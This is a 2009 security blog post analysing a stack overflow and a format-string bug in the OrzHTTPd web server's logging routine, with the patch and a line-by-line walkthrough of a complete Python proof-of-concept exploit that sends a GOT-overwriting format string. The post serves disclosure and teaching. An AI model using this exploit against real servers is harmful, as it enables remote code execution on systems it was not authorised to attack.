xorl %eax, %eax

OrzHTTPd Remote Stack Overflow and Format String

with 2 comments

These bugs were discovered and killed by argp. OrzHTTPd is a lightweight, high performance HTTP server currently under development. The bugs were present in log.c file like this:

static void
serverlog(LOG_TYPE_t type, const char *format, ...)
{
    FILE           *log;
    char            buf[BUFSIZE];
    va_list         ap;

    switch (type)
    {
        case ACCESS_LOG:
            log = server->access_log;
            break;

        case ERROR_LOG:
            log = server->error_log;
            break;

        default:
            return;
    }

    if (format != NULL)
    {
        va_start(ap, format);
        vsprintf(buf, format, ap);
        va_end(ap);
    }

    fprintf(log, buf);
    fflush(log);
}

This very simple routine is used for logging in the HTTPd. As you can easily see, depending on the log type (first argument), it either prints the given string to ‘server->access_log’ or ‘server->error_log’. However, during the ‘format’ parsing it uses a simple sequence of va_start(3), vsprintf(3) and va_end(3) that could easily result in a buffer overrun since ‘buf[]’ is statically allocated with size of ‘BUFSIZE’ (which is 4096 as we can read from orzhttpd.h) and vsprintf(3) doesn’t perform any bound checks.
The second vulnerability appears in the actual printing using fprintf(3) that does not use a format specifier and since the user can have some control over the passed string for logging, he could inject format string specifiers and result in a remotely exploitable format string.
To fix this, the following patch was applied:

    if (format != NULL)
    {
        va_start(ap, format);
-       vsprintf(buf, format, ap);
+       vsnprintf(buf, sizeof(buf), format, ap);
        va_end(ap);
    }

-   fprintf(log, buf);
+   fprintf(log, "%s", buf);
    fflush(log);

The insecure vsprintf(3) was replaced with vsnprintf(3) that performs some bound checks given the correct size limit and fprintf(3) now includes a format string specifier.
Patroklos Argyroudis released a PoC code that triggers the vulnerability which you can find here
Let’s have a look at this code

#!/usr/bin/env python
# orzex.py -- Patroklos Argyroudis, argp at domain census-labs.com
# http://code.google.com/p/orzhttpd/source/detail?r=141

import os
import sys
import socket
import struct
import time
import urllib

GET = "GET "

def main(argv):
    argc = len(argv)

    if argc != 4:
        print "usage: %s <host> <port> <address>" % (argv[0])
        print "[*] find address with objdump -R orzhttpd | grep fprintf"
        sys.exit(0)

    host = argv[1]
    port = int(argv[2])
    addr = int(argv[3], 16)

    print "[*] target: %s:%d:%s" % (host, port, argv[3])

This is a simple check for the passed arguments along with a usage message on error and initialization of the appropriate variables in case of 4 arguments passed to it. Nothing really important here, let’s move on…

    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)

This try/except block will attempt to connect to the given server using urllib‘s urlopen() routine and if it succeeds, just close it using close(), otherwise print the error returned to the user and exit the script using exit(). Assuming that the server is fine this is the code that will be executed:

    time.sleep(1)

    fmtstr = struct.pack('<LL', addr + 2, addr)
    fmtstr += "%.16650x%19$hn%.514x%20$hn"

    payload = GET
    payload += fmtstr

    print "[*] sending exploit format string to %s:%d" % (host, port)

It will sleep() and then initialize the ‘fmtstr’ with struct.pack() using ‘<LL' format, meaning that 'addr+2' and 'addr' will be packed as little-endian unsigned long integers and then, the format string that exploits the bug (probably the most important part of the code) is appended to the 'fmtstr'. Next, 'payload' is initialized with the 'GET' define that is used to set the HTTP request to GET and the malicious format string 'fmtstr' is appended to it. At last…

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(payload)
    sd.close()

    print "[*] sending trigger to %s:%d" % (host, port)

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(GET)
    sd.close()
	
if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)

# EOF

An AF_INET socket is created, and the Python script uses connect() and send() to connect to the remote server and send the malicious request. Finally, it sends an empty GET request using the same functions. This will trigger the vulnerability in serverlog() and result in passing the 'fmtstr' to fprintf(3).

Written by xorl

October 20, 2009 at 23:47

Posted in bugs

2 Responses

Subscribe to comments with RSS.

  1. nice analysis , my eyes quickly went to the fprintf and then up to the no bounds checking. I enjoy your blog.
    Cheers,

    daniel clemens

    October 21, 2009 at 00:52

  2. I immediately saw the format string bug. The overflow took a few seconds. And all the time I’ve been saying to myself: “no way!” :) Given the triviality I consider your analysis a bit too long. Afterall it highlighted the issues a reader should already be familiar with. For certain kernel bugs I really enjoy all the context, but here it seemed to me like bloat around the fact those bugs were found in OrzHTTPd.

    fiction

    October 21, 2009 at 21:36


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s